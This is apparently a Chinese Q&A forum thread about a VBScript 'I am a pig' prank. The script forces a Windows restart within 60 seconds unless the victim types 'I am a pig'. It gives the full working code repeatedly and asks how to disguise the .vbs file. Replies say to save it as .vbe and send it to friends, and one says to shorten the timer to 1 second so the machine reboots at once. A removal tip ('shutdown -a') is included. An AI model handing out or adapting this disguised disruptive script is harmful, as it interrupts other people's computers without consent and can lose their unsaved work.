我是猪的恶搞软件

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

代码在这里怎么把他做成exe的文件不然vbs的后缀太明显了

建立个TXT文档

输入： on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

然后保存。再把扩展名改为vbe 发给别人他打开就重启了，

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分针关你机，不信，试试···"" ",0 ,true

去掉这行就不再重启了 不然就开始->运行->shutdown -a

还可以把这行
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分针关你机，不信，试试···"" ",0 ,true
改成WSHshellA.run "cmd.exe /c shutdown -r -t 1 -c ""说我是猪，不说我是猪就一分针关你机，不信，试试···"" ",0 ,true
保存后发还给他，叫他运行，他想叫自己是猪的机会都没有就重启了。
这样可以么？

新建一个文本文档输入以下内容 on error resume next dim wshshella set wshshella = wscript.createobject("wscript.shell") wshshella.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"msgbox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim wshshell set wshshell = wscript.createobject("wscript.shell") wshshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾" 最后保存为.vbe格式 on error resume next dim wshshella set wshshella = wscript.createobject("wscript.shell") wshshella.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"msgbox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim wshshell set wshshell = wscript.createobject("wscript.shell") wshshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，xyxya.com欢迎你常来" 把代码复制到记事本 名字后面要加.vbe 发给你的好友就可以了 如果要破解这个程序的话也可以 下面是具体的方法: 这个东西启动不是设置的1分钟关机吗?. 我们就好好的利用这1分钟, 好了,现在我们运行cmd,运行之后输入命令 c:\windows\system32\shutdown 之后会出来关于程序的所有东西. 这个我们不用管它.. 直接继续输入命令 shutdown -a

如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！

点此我要举报以上问答信息